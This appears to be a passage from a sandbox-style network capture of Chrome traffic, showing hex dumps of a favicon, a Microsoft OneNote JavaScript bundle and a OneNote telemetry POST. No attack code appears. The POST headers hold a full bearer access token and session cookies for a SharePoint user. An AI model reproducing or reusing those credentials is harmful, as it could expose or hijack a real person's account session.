2024-04-26 08:00:02 UTC	705	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="static-on-bigtable" Report-To: {"group":"static-on-bigtable","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/static-on-bigtable"}]} Content-Length: 5430 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Fri, 26 Apr 2024 06:30:51 GMT Expires: Sat, 04 May 2024 06:30:51 GMT Cache-Control: public, max-age=691200 Last-Modified: Tue, 22 Oct 2019 18:30:00 GMT Content-Type: image/x-icon Vary: Accept-Encoding Age: 5351 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-26 08:00:02 UTC	550	IN	Data Raw: 00 00 01 00 02 00 10 10 00 00 01 00 20 00 68 04 00 00 26 00 00 00 20 20 00 00 01 00 20 00 a8 10 00 00 8e 04 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 30 fd fd fd 96 fd fd fd d8 fd fd fd f9 fd fd fd f9 fd fd fd d7 fd fd fd 94 fe fe fe 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 09 fd fd fd 99 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 95 ff ff ff 08 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 09 fd fd fd c1 ff ff ff ff fa fd f9 ff b4 d9 a7 ff 76 ba 5d ff 58 ab 3a ff 58 aa 3a ff 72 b8 59 ff ac d5 9d ff f8 fb f6 ff ff Data Ascii: h& ( 0.v]X:X:rY
2024-04-26 08:00:02 UTC	1255	IN	Data Raw: ff ff ff ff ff ff ff ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f7 a6 75 ff ff ff ff ff fd fd fd f9 fd fd fd fa ff ff ff ff 0b be fb ff 05 bc fb ff b6 ec fe ff ff ff ff ff ff ff ff ff ff ff ff ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f7 aa 7b ff ff ff ff ff fd fd fd f9 fd fd fd db ff ff ff ff 35 c9 fc ff 0a b2 f9 ff 6b a4 f6 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d8 fd fd fd 99 ff ff ff ff 92 cf fb ff 37 52 ec ff 38 46 ea ff d0 d4 fa ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 96 fe fe fe 32 ff ff ff ff f9 f9 fe ff 56 62 ed ff 35 43 ea ff 3b 49 eb Data Ascii: BBBBBuBBBBB{5k7R8F2Vb5C;I
2024-04-26 08:00:02 UTC	1255	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd e8 fe fe fe 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 24 fd fd fd ea ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff eb f5 e7 ff 8f c6 7b ff 54 a9 36 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 7e be 67 ff dd ee d7 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd e8 ff ff ff 22 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 0a fd fd fd d3 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff c4 e1 b9 ff 5c ac 3e ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 Data Ascii: /${T6S4S4S4S4S4S4S4S4S4~g"\>S4S4S4S4S4S4S4S4S4S4S4S
2024-04-26 08:00:02 UTC	1255	IN	Data Raw: ff ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff fa c8 aa ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd ea fd fd fd fa ff ff ff ff ff ff ff ff ff ff ff ff 07 bd fb ff 05 bc fb ff 05 bc fb ff 05 bc fb ff 7d dc fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f9 c1 9f ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd f9 fd fd fd fa ff ff ff ff ff ff ff ff ff ff ff ff 07 bd fb ff 05 bc fb ff 05 bc fb ff 05 bc fb ff 7d dc fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: BBBBBBBBBBB}BBBBBBBBBBB}
2024-04-26 08:00:02 UTC	1115	IN	Data Raw: 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 81 8a f2 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 8a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 0b fd fd fd d5 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff b5 ba f7 ff 3e 4b eb ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 3f 4c eb ff ba bf f8 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d2 fe fe fe 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 26 fd fd fd eb ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: C5C5C5C5C5C5C5C5C5C5C5C5C5C>K5C5C5C5C5C5C5C5C5C5C5C5C?L&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	50009	152.195.19.97	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 08:00:03 UTC	691	OUT	GET /wise/owl/owl.onenote.slim.069109c7fede470e418e.js HTTP/1.1 Host: wise.public.cdn.office.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://usigroups-my.sharepoint.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: application/signed-exchange;v=b3;q=0.7,/;q=0.8 Purpose: prefetch Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://usigroups-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 08:00:03 UTC	1183	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: date,X-Cdn-Provider,X-Ms-Request-Id Age: 36557 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Cache-Control: max-age=31536000 Content-Type: application/javascript Date: Fri, 26 Apr 2024 08:00:03 GMT Last-Modified: Thu, 25 Apr 2024 21:45:12 GMT NEL: {"report_to":"NelM365CDNUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Report-To: {"group":"NelM365CDNUpload1","max_age":604800,"endpoints":[{"url":"https://M365CDN.nel.measure.office.net/api/report?FrontEnd=VerizonCDNWorldWide&DestinationEndpoint=Miami&ASN=174&Country=US&Region=FL&RequestIdentifier=94943965887500137262782676985293289984"}],"include_subdomains ":true} Server: ECAcc (mid/874A) Strict-Transport-Security: max-age=31536000; includeSubDomains Timing-Allow-Origin: * Vary: Accept-Encoding X-Cache: HIT X-CDN-Provider: Verizon X-Content-Type-Options: nosniff x-ms-request-id: 023d0d01-701e-002c-2d5a-9784af000000 Content-Length: 338655 Connection: close
2024-04-26 08:00:03 UTC	16383	IN	Data Raw: 76 61 72 20 4d 69 63 72 6f 73 6f 66 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 65 2c 74 2c 69 2c 6f 3d 7b 31 38 32 37 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 65 2c 74 29 7b 76 61 72 20 69 2c 6f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 2c 65 3d 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39 2b 2f 3d 22 2c 74 3d 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39 2b 2d 24 22 2c 69 3d 7b 7d 3b 66 75 6e Data Ascii: var Microsoft;!function(){var n,e,t,i,o={1827:function(n,e,t){var i,o=function(){var n=String.fromCharCode,e="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",t="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+-$",i={};fun
2024-04-26 08:00:03 UTC	1	IN	Data Raw: 65 Data Ascii: e
2024-04-26 08:00:03 UTC	16383	IN	Data Raw: 76 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6c 7d 2c 6d 47 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 73 7d 2c 70 69 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 7d 7d 29 3b 76 61 72 20 69 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 65 29 7b 72 65 74 75 72 6e 20 69 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 7c 7c 7b 5f 5f 70 72 6f 74 6f 5f 5f 3a 5b 5d 7d 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 26 26 66 75 6e 63 74 69 6f 6e 28 6e 2c 65 29 7b 6e 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 65 7d 7c 7c 66 75 6e 63 74 69 6f 6e 28 6e 2c 65 29 7b 66 6f 72 28 76 61 72 20 74 20 69 6e 20 65 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 65 2c Data Ascii: v:function(){return l},mG:function(){return s},pi:function(){return r}});var i=function(n,e){return i=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(n,e){n.__proto__=e}\|\|function(n,e){for(var t in e)Object.prototype.hasOwnProperty.call(e,
2024-04-26 08:00:03 UTC	16383	IN	Data Raw: 6c 6f 63 6b 65 64 28 63 29 29 72 65 74 75 72 6e 21 31 3b 69 66 28 74 68 69 73 2e 65 6e 73 75 72 65 46 65 61 74 75 72 65 44 65 6e 6f 6d 69 6e 61 74 6f 72 4c 6f 67 67 65 64 41 6e 64 56 65 74 6f 50 69 6c 6c 61 72 52 65 67 69 73 74 65 72 65 64 28 29 2c 74 68 69 73 2e 72 65 63 6f 72 64 4b 70 69 46 61 69 6c 75 72 65 28 65 2c 74 2c 69 2c 63 29 2c 6f 26 26 74 68 69 73 2e 72 65 63 6f 72 64 51 6f 73 45 72 72 6f 72 28 6e 75 6c 6c 21 3d 3d 28 75 3d 6f 2e 65 72 72 6f 72 4e 61 6d 65 4f 76 65 72 72 69 64 65 29 26 26 76 6f 69 64 20 30 21 3d 3d 75 3f 75 3a 74 2c 6f 2e 6e 61 6d 65 2c 6f 29 2c 30 21 3d 3d 72 29 7b 76 61 72 20 6c 3d 6e 75 6c 6c 21 3d 72 3f 72 3a 33 65 35 3b 74 68 69 73 2e 6b 70 69 46 61 69 6c 75 72 65 45 76 65 6e 74 42 6c 6f 63 6b 65 72 2e 62 6c 6f 63 6b 45 Data Ascii: locked(c))return!1;if(this.ensureFeatureDenominatorLoggedAndVetoPillarRegistered(),this.recordKpiFailure(e,t,i,c),o&&this.recordQosError(null!==(u=o.errorNameOverride)&&void 0!==u?u:t,o.name,o),0!==r){var l=null!=r?r:3e5;this.kpiFailureEventBlocker.blockE
2024-04-26 08:00:03 UTC	16383	IN	Data Raw: 66 6f 72 65 49 69 74 69 61 6c 69 7a 61 74 69 6f 6e 2c 6e 75 6c 6c 3d 3d 65 3f 76 6f 69 64 20 30 3a 65 2e 74 6f 53 74 72 69 6e 67 28 29 29 2c 21 31 29 7d 2c 74 68 69 73 2e 51 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 69 29 7b 69 66 28 65 29 7b 76 61 72 20 72 3d 6e 2e 73 65 2e 6d 65 3b 69 66 28 6e 2e 56 65 26 26 28 69 3c 3d 30 7c 7c 21 6e 2e 55 65 29 26 26 6e 2e 67 74 28 65 2c 74 29 21 3d 3d 64 2e 53 65 6e 64 46 61 69 6c 65 64 29 72 65 74 75 72 6e 3b 69 66 28 21 28 69 3c 3d 30 29 29 7b 76 61 72 20 73 3d 6e 2e 43 74 28 65 2c 21 31 29 3b 69 66 28 6e 75 6c 6c 21 3d 3d 73 29 7b 69 66 28 6e 2e 46 65 28 29 29 74 72 79 7b 69 66 28 76 6f 69 64 20 30 21 3d 3d 6e 61 76 69 67 61 74 6f 72 2e 73 65 6e 64 42 65 61 63 6f 6e 29 7b 69 66 28 73 2e 6c 65 6e 67 74 68 3e 3d Data Ascii: foreIitialization,null==e?void 0:e.toString()),!1)},this.Qe=function(e,t,i){if(e){var r=n.se.me;if(n.Ve&&(i<=0\|\|!n.Ue)&&n.gt(e,t)!==d.SendFailed)return;if(!(i<=0)){var s=n.Ct(e,!1);if(null!==s){if(n.Fe())try{if(void 0!==navigator.sendBeacon){if(s.length>=
2024-04-26 08:00:03 UTC	3	IN	Data Raw: 6e 64 70 Data Ascii: ndp
2024-04-26 08:00:03 UTC	16383	IN	Data Raw: 6f 69 6e 74 2e 20 45 72 72 6f 72 3a 20 22 2e 63 6f 6e 63 61 74 28 6e 2e 6d 65 73 73 61 67 65 29 29 7d 7d 7d 29 29 2e 63 61 74 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6e 75 6c 6c 3d 3d 74 7c 7c 74 2e 55 4c 53 2e 73 65 6e 64 54 72 61 63 65 54 61 67 28 35 30 39 38 37 35 30 34 32 2c 76 2e 57 2e 77 69 2c 68 2e 47 2e 57 61 72 6e 69 6e 67 2c 22 46 61 69 6c 65 64 20 74 6f 20 72 65 73 6f 6c 76 65 20 61 70 70 20 75 72 6c 20 70 72 6f 6d 69 73 65 2e 20 45 72 72 6f 72 3a 20 22 2e 63 6f 6e 63 61 74 28 6e 2e 6d 65 73 73 61 67 65 29 29 7d 29 29 7d 76 61 72 20 53 3d 74 28 39 35 39 39 29 2c 62 3d 74 28 39 33 32 33 29 2c 49 3d 74 28 38 35 39 29 2c 43 3d 74 28 32 38 32 34 29 2c 41 3d 74 28 33 39 36 32 29 2c 54 3d 74 28 39 36 34 31 29 2c 48 3d 74 28 37 33 30 34 29 2c Data Ascii: oint. Error: ".concat(n.message))}}})).catch((function(n){null==t\|\|t.ULS.sendTraceTag(509875042,v.W.wi,h.G.Warning,"Failed to resolve app url promise. Error: ".concat(n.message))}))}var S=t(9599),b=t(9323),I=t(859),C=t(2824),A=t(3962),T=t(9641),H=t(7304),
2024-04-26 08:00:03 UTC	16383	IN	Data Raw: 6c 3d 3d 3d 28 45 3d 61 2e 72 2e 62 6f 6f 74 73 74 72 61 70 70 65 72 49 6e 66 6f 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 45 3f 76 6f 69 64 20 30 3a 45 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2c 72 2c 6e 75 6c 6c 3d 3d 6f 3f 76 6f 69 64 20 30 3a 6f 2e 66 65 61 74 75 72 65 47 61 74 65 73 29 2c 73 65 73 73 69 6f 6e 43 6f 6e 74 65 78 74 3a 76 28 6e 2e 61 70 70 55 72 6c 29 7c 7c 28 30 2c 75 2e 6c 5f 29 28 29 2c 70 72 65 73 65 65 64 65 64 53 65 73 73 69 6f 6e 3a 7b 6b 65 79 3a 6e 75 6c 6c 3d 3d 3d 28 50 3d 6e 2e 70 72 65 73 65 65 64 65 64 53 65 73 73 69 6f 6e 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 50 3f 76 6f 69 64 20 30 3a 50 2e 6b 65 79 2c 69 64 3a 6e 75 6c 6c 3d 3d 3d 28 4e 3d 6e 2e 70 72 65 73 65 65 64 65 64 53 65 73 73 69 6f 6e 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 4e Data Ascii: l===(E=a.r.bootstrapperInfo)\|\|void 0===E?void 0:E.performance,r,null==o?void 0:o.featureGates),sessionContext:v(n.appUrl)\|\|(0,u.l_)(),preseededSession:{key:null===(P=n.preseededSession)\|\|void 0===P?void 0:P.key,id:null===(N=n.preseededSession)\|\|void 0===N
2024-04-26 08:00:03 UTC	16383	IN	Data Raw: 61 28 6e 29 7b 73 77 69 74 63 68 28 6e 29 7b 63 61 73 65 22 47 41 4c 4c 41 54 49 4e 22 3a 72 65 74 75 72 6e 22 68 74 74 70 73 3a 2f 2f 6d 69 63 72 6f 73 6f 66 74 67 72 61 70 68 2e 63 68 69 6e 61 63 6c 6f 75 64 61 70 69 2e 63 6e 22 3b 63 61 73 65 22 54 52 41 49 4c 42 4c 41 5a 45 52 22 3a 72 65 74 75 72 6e 22 68 74 74 70 73 3a 2f 2f 67 72 61 70 68 2e 6d 69 63 72 6f 73 6f 66 74 2e 75 73 22 3b 63 61 73 65 22 50 41 54 48 46 49 4e 44 45 52 22 3a 72 65 74 75 72 6e 22 68 74 74 70 73 3a 2f 2f 64 6f 64 2d 67 72 61 70 68 2e 6d 69 63 72 6f 73 6f 66 74 2e 75 73 22 3b 63 61 73 65 22 41 49 52 47 41 50 30 38 22 3a 72 65 74 75 72 6e 22 68 74 74 70 73 3a 2f 2f 67 72 61 70 68 2e 65 61 67 6c 65 78 2e 69 63 2e 67 6f 76 22 3b 63 61 73 65 22 41 49 52 47 41 50 30 39 22 3a 72 65 Data Ascii: a(n){switch(n){case"GALLATIN":return"https://microsoftgraph.chinacloudapi.cn";case"TRAILBLAZER":return"https://graph.microsoft.us";case"PATHFINDER":return"https://dod-graph.microsoft.us";case"AIRGAP08":return"https://graph.eaglex.ic.gov";case"AIRGAP09":re
2024-04-26 08:00:03 UTC	16383	IN	Data Raw: 67 6c 65 4f 77 6c 4a 73 61 70 69 4c 6f 67 67 65 72 22 2c 6e 2e 46 65 61 74 75 72 65 47 61 74 65 5f 45 6e 61 62 6c 65 4a 73 61 70 69 54 61 67 73 3d 22 49 73 4f 77 6c 41 64 64 69 74 69 6f 6e 61 6c 4a 73 61 70 69 54 61 67 73 45 6e 61 62 6c 65 64 22 2c 6e 2e 46 65 61 74 75 72 65 47 61 74 65 5f 53 68 6f 75 6c 64 48 69 64 65 48 65 61 64 65 72 4f 6e 65 4e 6f 74 65 3d 22 53 68 6f 75 6c 64 48 69 64 65 48 65 61 64 65 72 4f 6e 65 4e 6f 74 65 22 2c 6e 2e 46 65 61 74 75 72 65 47 61 74 65 5f 4f 6e 65 4e 6f 74 65 54 65 61 6d 73 43 6c 61 69 6d 73 48 61 6e 64 6c 69 6e 67 3d 22 4f 6e 65 4e 6f 74 65 54 65 61 6d 73 43 6c 61 69 6d 73 48 61 6e 64 6c 69 6e 67 22 2c 6e 2e 46 65 61 74 75 72 65 47 61 74 65 5f 55 73 65 57 61 63 50 61 72 61 6d 73 43 6f 70 79 3d 22 55 73 65 57 61 63 Data Ascii: gleOwlJsapiLogger",n.FeatureGate_EnableJsapiTags="IsOwlAdditionalJsapiTagsEnabled",n.FeatureGate_ShouldHideHeaderOneNote="ShouldHideHeaderOneNote",n.FeatureGate_OneNoteTeamsClaimsHandling="OneNoteTeamsClaimsHandling",n.FeatureGate_UseWacParamsCopy="UseWac

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	50010	52.108.8.12	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 08:00:05 UTC	3769	OUT	POST /o/RemoteUls.ashx?build=16.0.17601.41008&waccluster=PUS6&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 25532 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-WacFrontEnd: SN3PEPF000091BA X-OfficeVersion: 16.0.17601.41008 X-Key: n6IDxhd6wnn64lDiT/v29/IwfRsPGkZ9Q2pSUeWOyWY=;mFis2L6vMsBNOxnijIg4A5JcpQZjdzxFJ7ALVqUl65I=,638497151517007624 X-WacUserAgent: MSWACONSync X-bULS-SuppressionETag: BB46AA47C239D54223A049EA42FF1E429533F0DD X-Requested-With: Fetch X-xhr: 1 sec-ch-ua-platform: "Windows" haep: 3 X-AccessToken: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9.eyJhdWQiOiJ3b3BpL3VzaWdyb3Vwcy1teS5zaGFyZXBvaW50LmNvbUA5ZjVhZTVlMC1mNDY4LTQ0YzItOGJhYS1lNmU3YmMzNmM3MTAiLCJpc3MiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDBAOTAxNDAxMjItODUxNi0xMWUxLThlZmYtNDkzMDQ5MjQwMTliIiwibmJmIjoiMTcxNDExODM0OSIsImV4cCI6IjE3MTQxNTQzNDkiLCJuYW1laWQiOiIwIy5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiNlM2U0MjIzYjVlMmMzYTM4NjdkYTVhNzY1Y2IyNGQ0NWI5OWY5ZjE5ZWVlYjUzZWEwOGU4MzRkNzg2YmUwYjNkIiwibmlpIjoibWljcm9zb2Z0LnNoYXJlcG9pbnQiLCJpc3VzZXIiOiJ0cnVlIiwiY2FjaGVrZXkiOiIwaC5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiNlM2U0MjIzYjVlMmMzYTM4NjdkYTVhNzY1Y2IyNGQ0NWI5OWY5ZjE5ZWVlYjUzZWEwOGU4MzRkNzg2YmUwYjNkIiwic2hhcmluZ2lkIjoiOHZmbmpOcEVEMGFsTnNkZEZWeU83dyIsImlzbG9vcGJhY2siOiJUcnVlIiwiYXBwY3R4IjoiNDI3NWM3Y2Q5NTU5NDliNTllMDA4OTEzZTY3YjI0MjY7c1ZtbkxOWURWd2dubCtuUXVkQXBEeVdvMkdjPTtEZWZhdWx0OzVjZWViOGY3NDc1OTQ5ZjJhOGM3YThlODQ3YmRmYWMyOztUcnVlOzs7NTEyOzcyYjkyMmExLTUwOGQtNTAwMC0xZTNmLWFiOWZjMmJhOTc1ZSIsImZpZCI6IjE5MzMwNiJ9.ePS3sOzS493VKhzLhTVvLpZO116QM2mYnfdRC-lGpxzBDH9_YJe9eXoQ3MIJgGNGZp5_8TcOZEr15P4Pk9mgKPCwE7CMq1RYtBsbRwUv9rHGMrcs5qQl1eR7DrAnof1hHaHtbZ0b55Cyjb6Nnfh0xymyWvjTqJ1exVPobvfSPUnuxEjLaaLLkv9muiYzVNqWhQRx_uD2RA7fUkT1ewDaUGa43dC2zN3y1tEpFDPrJjR83Ot3WdRqh1IGKH8uc9FE4VdI8k_Y8zjLO-AXbtnFCEqMMfIBFQV1dK6GIUAwWeti0adP_kPPsz3XCUmB9yDFmG6Jt31iyv47vycxWbiBBg X-AccessTokenTtl: 1714154349045 X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded X-UserType: WOPI X-IsCoauthSession: true X-WacCluster: PUS6 Accept: / Origin: https://usc-onenote.officeapps.live.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://usc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=en-US&wopisrc=https%3A%2F%2Fusigroups-my.sharepoint.com%2Fpersonal%2Fjs_usigroups_com%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F4275c7cd955949b59e008913e67b2426&wdenableroaming=1&mscc=1&wdodb=1&hid=72B922A1-508D-5000-1E3F-AB9FC2BA975E.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Fusigroups-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1714118346761&jsapi=1&jsapiver=v1&newsession=1&corrid=d19e0541-59c5-9a5e-8e10-18de22c9153f&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&readonly=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D; PUS6-ARRAffinity=cef501cb080d3b02baa5afd04addeaae023ae53b0262f256a03a16339d1987de; PUS9-ARRAffinity=ced079449095b2f8730f0411e34b3fe9a83a7283597ce6ca7087d95cbdd29929; MicrosoftApplicationsTelemetryDeviceId=3fe0b053-f595-48a0-bf8a-ccabe1078356
2024-04-26 08:00:05 UTC	16384	OUT	Data Raw: 7b 22 54 22 3a 31 37 31 34 31 31 38 33 37 33 34 33 38 2c 22 4c 22 3a 5b 7b 22 47 22 3a 33 37 37 35 34 35 30 30 2c 22 54 22 3a 31 33 31 2c 22 4d 22 3a 22 53 49 46 42 3a 20 4c 6f 67 41 63 74 69 76 69 74 79 20 28 69 6e 69 74 69 61 6c 69 7a 69 6e 67 20 66 69 72 73 74 29 20 56 4e 65 78 74 53 74 79 6c 65 73 4f 6e 22 2c 22 43 22 3a 33 35 36 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 30 36 36 38 31 31 31 2c 22 54 22 3a 31 33 31 2c 22 4d 22 3a 22 55 73 69 6e 67 20 66 6c 6f 6f 64 67 61 74 65 20 6c 61 74 65 73 74 20 76 65 72 73 69 6f 6e 20 22 2c 22 43 22 3a 33 35 36 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 33 37 37 35 34 35 30 30 2c 22 54 22 3a 31 33 31 2c 22 4d 22 3a 22 53 49 46 42 3a 20 4c 6f 67 41 63 74 69 76 69 74 79 20 28 69 6e 69 74 69 61 6c 69 7a 69 6e 67 Data Ascii: {"T":1714118373438,"L":[{"G":37754500,"T":131,"M":"SIFB: LogActivity (initializing first) VNextStylesOn","C":356,"D":50},{"G":50668111,"T":131,"M":"Using floodgate latest version ","C":356,"D":50},{"G":37754500,"T":131,"M":"SIFB: LogActivity (initializing
